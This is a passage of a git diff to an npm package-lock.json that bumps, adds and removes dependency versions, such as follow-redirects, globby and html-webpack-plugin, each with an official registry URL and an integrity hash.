"sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==", + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", "dev": true, "requires": { "commondir": "^1.0.1", @@ -5829,25 +21040,6 @@ "pkg-dir": "^4.1.0" }, "dependencies": { - "find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "requires": { - "p-locate": "^4.1.0" - } - }, "make-dir": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", @@ -5856,36 +21048,6 @@ "requires": { "semver": "^6.0.0" } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "requires": { - "p-limit": "^2.2.0" - } - }, - "path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true - }, - "pkg-dir": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", - "dev": true, - "requires": { - "find-up": "^4.0.0" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true } } }, @@ -5933,9 +21095,9 @@ "dev": true }, "follow-redirects": { - "version": "1.14.8", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.8.tgz", - "integrity": "sha512-1x0S9UVJHsQprFcEC/qnNzBLcIxsjAV905f/UkQxbclCsoTWlacCNOpQa/anodLl2uaEKFhfWOvM2Qg77+15zA==", + "version": "1.14.9", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz", + "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w==", "dev": true }, "font-awesome": { @@ -5943,6 +21105,142 @@ "resolved": "https://registry.npmjs.org/font-awesome/-/font-awesome-4.7.0.tgz", "integrity": "sha1-j6jPBBGhoxr9B7BtKQK7n8gVoTM=" }, + "fork-ts-checker-webpack-plugin": { + "version": "7.2.4", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-7.2.4.tgz", + "integrity": "sha512-wVN8w0aGiiF4/1o0N5VPeh+PCs4OMg8VzKiYc7Uw7e2VmTt8JuKjEc2/uvd/VfG0Ux+4WnxMncSRcZpXAS6Fyw==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.16.7", + "chalk": "^4.1.2", + "chokidar": "^3.5.3", + "cosmiconfig": "^7.0.1", + "deepmerge": "^4.2.2", + "fs-extra": "^10.0.0", + "memfs": "^3.4.1", + "minimatch": "^3.0.4", + "schema-utils": "^3.1.1", + "semver": "^7.3.5", + "tapable": "^2.2.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "cosmiconfig": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", + "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "dev": true, + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + } + }, + "fs-extra": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.0.1.tgz", + "integrity": "sha512-NbdoVMZso2Lsrn/QwLXOy6rm0ufY2zEOKCDzJR/0kBsb0E6qed0P3iYK+Ath3BfvXEeu4JhEtXLgILx5psUfag==", + "dev": true, + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.6", + "universalify": "^2.0.0" + } + }, + "lru-cache": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.8.1.tgz", + "integrity": "sha512-E1v547OCgJvbvevfjgK9sNKIVXO96NnsTsFPBlg4ZxjhsJSODoH9lk8Bm0OxvHNm6Vm5Yqkl/1fErDxhYL8Skg==", + "dev": true + }, + "schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "semver": { + "version": "7.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.6.tgz", + "integrity": "sha512-HZWqcgwLsjaX1HBD31msI/rXktuIhS+lWvdE4kN9z+8IVT4Itc7vqU2WvYsyD6/sjYCt4dEKH/m1M3dwI9CC5w==", + "dev": true, + "requires": { + "lru-cache": "^7.4.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true + } + } + }, "forwarded": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", @@ -6008,8 +21306,7 @@ "function-bind": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", - "dev": true + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" }, "functional-red-black-tree": { "version": "1.0.1", @@ -6088,8 +21385,7 @@ "glob-to-regexp": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", - "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", - "dev": true + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" }, "global": { "version": "4.4.0", @@ -6127,23 +21423,23 @@ "dev": true }, "globby": { - "version": "11.0.4", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.4.tgz", - "integrity": "sha512-9O4MVG9ioZJ08ffbcyVYyLOJLk5JQ688pJ4eMGLpdWLHq/Wr1D9BlriLQyL0E+jbkuePVZXYFj47QM/v093wHg==", + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", "dev": true, "requires": { "array-union": "^2.1.0", "dir-glob": "^3.0.1", - "fast-glob": "^3.1.1", - "ignore": "^5.1.4", - "merge2": "^1.3.0", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", "slash": "^3.0.0" }, "dependencies": { "ignore": { - "version": "5.1.8", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", - "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", "dev": true }, "slash": { @@ -6170,10 +21466,9 @@ } }, "graceful-fs": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", - "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", - "dev": true + "version": "4.2.10", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==" }, "handle-thing": { "version": "2.0.1", @@ -6191,7 +21486,6 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "dev": true, "requires": { "function-bind": "^1.1.1" } @@ -6208,9 +21502,9 @@ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=" }, "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", "dev": true }, "has-tostringtag": { @@ -6247,12 +21541,19 @@ "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", "requires": { "react-is": "^16.7.0" + }, + "dependencies": { + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + } } }, "hosted-git-info": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", - "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", + "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", "dev": true, "requires": { "lru-cache": "^6.0.0" @@ -6268,12 +21569,44 @@ "obuf": "^1.0.0", "readable-stream": "^2.0.1", "wbuf": "^1.1.0" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + } } }, "html-entities": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.2.tgz", - "integrity": "sha512-c3Ab/url5ksaT0WyleslpBEthOzWhrjQbg75y7XUsfSzi3Dgzt0l8w5e7DylRn15MTlMMD58dTfzddNS2kcAjQ==", + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.3.tgz", + "integrity": "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA==", "dev": true }, "html-loader": { @@ -6287,6 +21620,28 @@ "html-minifier": "^3.5.8", "loader-utils": "^1.1.0", "object-assign": "^4.1.1" + }, + "dependencies": { + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dev": true, + "requires": { + "minimist": "^1.2.0" + } + }, + "loader-utils": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", + "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + } + } } }, "html-minifier": { @@ -6313,18 +21668,18 @@ } }, "html-minifier-terser": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-5.1.1.tgz", - "integrity": "sha512-ZPr5MNObqnV/T9akshPKbVgyOqLmy+Bxo7juKCfTfnjNniTAMdy4hz21YQqoofMBJD2kdREaqPPdThoR78Tgxg==", + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", "dev": true, "requires": { - "camel-case": "^4.1.1", - "clean-css": "^4.2.3", - "commander": "^4.1.1", + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", "he": "^1.2.0", - "param-case": "^3.0.3", + "param-case": "^3.0.4", "relateurl": "^0.2.7", - "terser": "^4.6.3" + "terser": "^5.10.0" }, "dependencies": { "camel-case": { @@ -6337,10 +21692,19 @@ "tslib": "^2.0.3" } }, + "clean-css": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.0.tgz", + "integrity": "sha512-YYuuxv4H/iNb1Z/5IbMRoxgrzjWGhOEFfd+groZ5dMCVkpENiMZmwspdrzBo9286JjM1gZJPAyL7ZIdzuvu2AQ==", + "dev": true, + "requires": { + "source-map": "~0.6.0" + } + }, "commander": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", - "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", "dev": true }, "param-case": { @@ -6359,25 +21723,6 @@ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", "dev": true }, - "terser": { - "version": "4.8.0", - "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", - "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", - "dev": true, - "requires": { - "commander": "^2.20.0", - "source-map": "~0.6.1", - "source-map-support": "~0.5.12" - }, - "dependencies": { - "commander": { - "version": "2.20.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", - "dev": true - } - } - }, "tslib": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", @@ -6393,57 +21738,28 @@ "dev": true }, "html-webpack-plugin": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.3.2.tgz", - "integrity": "sha512-HvB33boVNCz2lTyBsSiMffsJ+m0YLIQ+pskblXgN9fnjS1BgEcuAfdInfXfGrkdXV406k9FiDi86eVCDBgJOyQ==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz", + "integrity": "sha512-sy88PC2cRTVxvETRgUHFrL4No3UxvcH8G1NepGhqaTT+GXN2kTamqasot0inS5hXeg1cMbFDt27zzo9p35lZVw==", "dev": true, "requires": { - "@types/html-minifier-terser": "^5.0.0", - "html-minifier-terser": "^5.0.1", + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", "lodash": "^4.17.21", - "pretty-error": "^3.0.4", + "pretty-error": "^4.0.0", "tapable": "^2.0.0" - }, - "dependencies": { - "tapable": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", - "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", - "dev": true - } } }, "htmlparser2": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.10.1.tgz", - "integrity": "sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==", + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", "dev": true, "requires": { - "domelementtype": "^1.3.1", - "domhandler": "^2.3.0", - "domutils": "^1.5.1", - "entities": "^1.1.1", - "inherits": "^2.0.1", - "readable-stream": "^3.1.1" - }, - "dependencies": { - "entities": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.2.tgz", - "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - } + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" } }, "http-deceiver": { @@ -6453,30 +21769,22 @@ "dev": true }, "http-errors": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", - "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.8.1.tgz", + "integrity": "sha512-Kpk9Sm7NmI+RHhnj6OIWDI1d6fIoFAtFt9RLaTMRlg/8w49juAStsrBgp0Dp4OdxdVbRIeKhtCUvoi/RuAhO4g==", "dev": true, "requires": { "depd": "~1.1.2", - "inherits": "2.0.3", - "setprototypeof": "1.1.1", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", "statuses": ">= 1.5.0 < 2", - "toidentifier": "1.0.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true - } + "toidentifier": "1.0.1" } }, "http-parser-js": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.3.tgz", - "integrity": "sha512-t7hjvef/5HEK7RWTdUzVUhl8zkEu+LlaE0IYzdMuvbSDipxBRpOn4Uhw8ZyECEa808iVT8XCjzo6xmYt4CiLZg==", + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.6.tgz", + "integrity": "sha512-vDlkRPDJn93swjcjqMSaGSPABbIarsr1TLAui/gLDXzV5VsJNdXNzMYDyNBLQkjWQCJ1uizu8T2oDMhmGt0PRA==", "dev": true }, "http-proxy": { @@ -6491,12 +21799,12 @@ } }, "http-proxy-middleware": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.1.tgz", - "integrity": "sha512-cfaXRVoZxSed/BmkA7SwBVNI9Kj7HFltaE5rqYOub5kWzWZ+gofV2koVN1j2rMW7pEfSSlCHGJ31xmuyFyfLOg==", + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.4.tgz", + "integrity": "sha512-m/4FxX17SUvz4lJ5WPXOHDUuCwIqXLfLHs1s0uZ3oYjhoXlx9csYxaOa0ElDEJ+h8Q4iJ1s+lTMbiCa4EXIJqg==", "dev": true, "requires": { - "@types/http-proxy": "^1.17.5", + "@types/http-proxy": "^1.17.8", "http-proxy": "^1.18.1", "is-glob": "^4.0.1", "is-plain-obj": "^3.0.0", @@ -6530,15 +21838,6 @@ "safer-buffer": ">= 2.1.2 < 3" } }, - "icss-utils": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-4.1.1.tgz", - "integrity": "sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA==", - "dev": true, - "requires": { - "postcss": "^7.0.14" - } - }, "ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", @@ -6550,10 +21849,16 @@ "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", "dev": true }, + "immutable": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.0.0.tgz", + "integrity": "sha512-zIE9hX70qew5qTUjSS7wi1iwj/l7+m54KWU247nhM3v806UdGj1yDndXj+IOYxxtW9zyLI+xqFNZjTuDaLUqFw==", + "dev": true + }, "import-fresh": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.2.1.tgz", - "integrity": "sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==", + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", "requires": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" @@ -6566,9 +21871,9 @@ "dev": true }, "import-local": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.0.3.tgz", - "integrity": "sha512-bE9iaUY3CXH8Cwfan/abDKAxe1KGT9kyGsBPqf6DMK/z0a2OzAsrukeYNgIH6cH5Xr452jb1TUL8rSfCLjZ9uA==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz", + "integrity": 